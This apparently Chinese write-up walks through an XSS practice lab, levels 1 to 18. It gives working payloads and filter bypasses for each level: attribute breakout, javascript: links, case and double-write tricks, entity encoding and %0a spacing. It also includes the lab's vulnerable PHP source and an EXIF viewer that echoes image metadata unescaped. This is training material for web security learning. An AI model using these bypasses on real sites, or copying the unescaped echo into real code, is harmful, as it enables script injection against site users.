level 1

很简单的payload

http://172.22.6.165:91/level1.php?name=<script>alert(1)</script>

level 2

<h1 align=center>欢迎来到level2</h1>
<h2 align=center>没有找到和1相关的结果.</h2><center>
<form action=level2.php method=GET>
<input name=keyword  value="1">
<input type=submit name=submit value="搜索"/>
</form>
</center><center><img src=level2.png></center>
<h3 align=center>payload的长度:1</h3></body>
</html>

f12查看网站源码 看到 输入的值被当作value传入

用 "> 闭合掉前面的尖括号

payload:

level2.php?keyword="><script>alert(1)</script>submit=

level 3

使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素

但是默认是只编码双引号的,而且单引号无论如何都不转义。

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。

原始字符转义后的 HTML 实体转义目的
&&amp;防止用于拼接其他 HTML 实体
<&lt;防止 HTML 标签的注入
>&gt;防止 HTML 标签的闭合
"&quot;防止在双引号包裹的 HTML 属性中跳出

鼠标点击

payload:

  'onclick'=alert(1)

点击一下输入框

level 4

在上一关的基础上 多了< 尖括号的过滤

str_replace(">","",$str);  查找字符串是否有>号,有则替换为空

payload:

" onclick="alert(1)

level 5 (javascript伪协议标签)

注入鼠标事件 发现 鼠标事件也被过滤了 那么需要使用a标签的JavaScript伪协议实现href属性支持JavaScript:伪协议,则:后面的代码会被当成JavaScript来执行。注意这里还需要闭合input标签。

payload:

"><a href=javascript:alert(1)>

常见的js语句

<script>alert(1)</script>

<img src=ganyu οnerrοr=alert(1)>

<svg οnlοad=alert(1)>

<a herf=javascript:alert(1)>

<iframe src="javascript:alert(1)"></iframe>

level 6(大小写绕过)

注释一段js 发现 herf被下划线了 查看了一下源码,src、data、on都被过滤了。但是大小写没有过滤,可通过大小写进行绕过

payload:

"><a HrEf=javascript:alert(1)>

level 7(双写绕过)

正常注入,直接替换为空了,那么其他的也都替换了,大小写也被过滤了。这里因为是替换为空字符,我们可以通过双写注入进行绕过。

payload:

观察必和条件 为双引号"
"oonnclick="alert(1)

level 8(unicode 编码)

预定义字符被转义,其他属性也不是被过滤成空字符了,那么就不能使用双写注入了。

我们在输入框输入的内容,会被带入到友情链接href属性中,那我们是不是可以直接输入javascript:alert(1),点击友情链接不就可以了嘛。当我们输入后发现javascript被过滤了。只能使用HTML实体编码(即Unicode编码)绕过了。

payload:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

level 9

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不错!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>欢迎来到level9</title>
</head>
<body>
<h1 align=center>欢迎来到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的长度:".strlen($str7)."</h3>";
?>
</body>
</html>

strpos( $ str7, ‘http://’)函数用于在字符串中查找子字符串http://的位置。
如果找到了子字符串,则返回子字符串的起始位置(也就是一个非负整数值)。
如果没有找到子字符串,则返回false。 false===strpos($str7,‘http://’)
如果strpos( $ str7, ‘http://’)的返回值为false且类型为布尔值(即完全相等),则条件成立。

随便注入发现 链接不合法

添加http:// 让变得合法 也得Unicode编码一下

payload

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

level 10

随便传一个参数 试试

只有 sort value值返回

尖括号是被过滤的 所以用鼠标事件

payload:

level10.php?keyword=1&t_sort="onclick="alert(1)

level 11

观察源码

ref值为 上关通关的页面地址

再次传参 发现 value被过滤

抓包看看

payload

"onclick="alrt(1)
" type="text" onmousemove="alert(1)

level 12

源码有ua头信息 抓包一下试试

level 13

估计是cookie注入

" type="text" onmousemove="alert(1)

level 14(图片的exif信息)

上传图片 源地址不可用 自己写了一个

<?php
// 处理图片上传和EXIF信息提取
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['image'])) {
    $uploadDir = 'uploads/';
    if (!file_exists($uploadDir)) {
        mkdir($uploadDir, 0755, true);
    }
    
    $fileName = basename($_FILES['image']['name']);
    $targetFile = $uploadDir . uniqid() . '_' . $fileName;
    $uploadOk = true;
    
    // 检查文件类型
    $imageFileType = strtolower(pathinfo($targetFile, PATHINFO_EXTENSION));
    $allowedTypes = ['jpg', 'jpeg', 'png'];
    if (!in_array($imageFileType, $allowedTypes)) {
        echo "<div class='error'>只支持JPG、JPEG和PNG格式</div>";
        $uploadOk = false;
    }
    
    // 检查文件大小 (5MB以内)
    if ($_FILES['image']['size'] > 5000000) {
        echo "<div class='error'>文件大小不能超过5MB</div>";
        $uploadOk = false;
    }
    
    // 上传文件
    if ($uploadOk && move_uploaded_file($_FILES['image']['tmp_name'], $targetFile)) {
        // 读取EXIF数据
        if (function_exists('exif_read_data')) {
            $exif = exif_read_data($targetFile, 0, true);
            if ($exif) {
                $exifData = "<h3>EXIF信息</h3><table>";
                foreach ($exif as $key => $section) {
                    foreach ($section as $name => $val) {
                        if (!is_array($val) && trim($val) !== '') {
                            $exifData .= "<tr><td><strong>$key.$name</strong></td><td>$val</td></tr>";
                        }
                    }
                }
                $exifData .= "</table>";
            } else {
                $exifData = "<p>未检测到EXIF信息或无法读取</p>";
            }
        } else {
            $exifData = "<p>服务器不支持EXIF读取功能</p>";
        }
    } else {
        echo "<div class='error'>文件上传失败</div>";
    }
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>图片EXIF信息查看器</title>
    <style>
        * {
            box-sizing: border-box;
            margin: 0;
            padding: 0;
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
        }
        body {
            background: linear-gradient(135deg, #f5f7fa 0%, #c3cfe2 100%);
            min-height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            padding: 20px;
        }
        .container {
            background: white;
            border-radius: 12px;
            box-shadow: 0 10px 30px rgba(0, 0, 0, 0.1);
            width: 90%;
            max-width: 800px;
            padding: 30px;
        }
        h1 {
            text-align: center;
            color: #2c3e50;
            margin-bottom: 20px;
            font-size: 28px;
        }
        .upload-form {
            background: #f8f9fa;
            padding: 25px;
            border-radius: 8px;
            margin-bottom: 30px;
            border: 2px dashed #ced4da;
        }
        .form-group {
            margin-bottom: 20px;
        }
        label {
            display: block;
            margin-bottom: 8px;
            font-weight: 600;
            color: #495057;
        }
        input[type="file"] {
            width: 100%;
            padding: 12px;
            border: 1px solid #ced4da;
            border-radius: 4px;
            background: white;
        }
        button {
            background: #3498db;
            color: white;
            border: none;
            padding: 12px 24px;
            border-radius: 4px;
            cursor: pointer;
            font-size: 16px;
            font-weight: 600;
            width: 100%;
            transition: background 0.3s;
        }
        button:hover {
            background: #2980b9;
        }
        .exif-results {
            margin-top: 30px;
            padding: 20px;
            background: #f8f9fa;
            border-radius: 8px;
        }
        table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 15px;
        }
        th, td {
            padding: 12px 15px;
            text-align: left;
            border-bottom: 1px solid #ddd;
        }
        th {
            background-color: #3498db;
            color: white;
        }
        tr:nth-child(even) {
            background-color: #f2f2f2;
        }
        .error {
            background: #ffebee;
            color: #c62828;
            padding: 12px;
            border-radius: 4px;
            margin: 15px 0;
            border-left: 4px solid #c62828;
        }
        .success {
            background: #e8f5e9;
            color: #2e7d32;
            padding: 12px;
            border-radius: 4px;
            margin: 15px 0;
            border-left: 4px solid #2e7d32;
        }
        @media (max-width: 600px) {
            .container {
                padding: 15px;
            }
            h1 {
                font-size: 24px;
            }
            th, td {
                padding: 8px 10px;
            }
        }
    </style>
</head>
<body>
    <div class="container">
        <h1>图片EXIF信息查看器</h1>
        
        <div class="upload-form">
            <form action="" method="post" enctype="multipart/form-data">
                <div class="form-group">
                    <label for="image">选择图片文件 (JPG, JPEG, PNG)</label>
                    <input type="file" name="image" id="image" accept="image/jpeg,image/png" required>
                </div>
                <button type="submit">提取EXIF信息</button>
            </form>
        </div>
        
        <?php
        if (isset($exifData)) {
            echo "<div class='exif-results'>";
            if (isset($uploadOk) && $uploadOk) {
                echo "<div class='success'>图片上传成功!EXIF信息如下:</div>";
            }
            echo $exifData;
            echo "</div>";
        }
        ?>
    </div>
</body>
</html>

上传图片可以看到 exif信息

修改图片信息

再次上传就能看到了

level 15(ng-include)

ng-include相当于php的include函数,所以我们包含一个有XSS漏洞的URL就可触发这里的XSS

payload:

http://127.0.0.1:91/level15.php?src='level1.php?name=<img src=x onerror=alert(1)>'

level 16 _0a代替空格

其中将script,空格,Tab,/全部替换,我们使用img绕过,空格用%0a替换。

payload:

http://127.0.0.1:91/level16.php?keyword=<img%0asrc=x%0aonerror=alert(1)>

level 17 (flash_xss)

这关的本意是用swf文件去传参 但博主没有flash 搞得也挺麻烦的 再者flash的xss漏洞几乎见不到了

用闭合也能过

payload:

http://127.0.0.1:91/level17.php?arg01=a&arg02=" onmouseover=alert(1)

level18

和17一样

payload:

http://127.0.0.1:91/level19.php?arg01=a&arg02=" onmouseover=alert(1)

更多推荐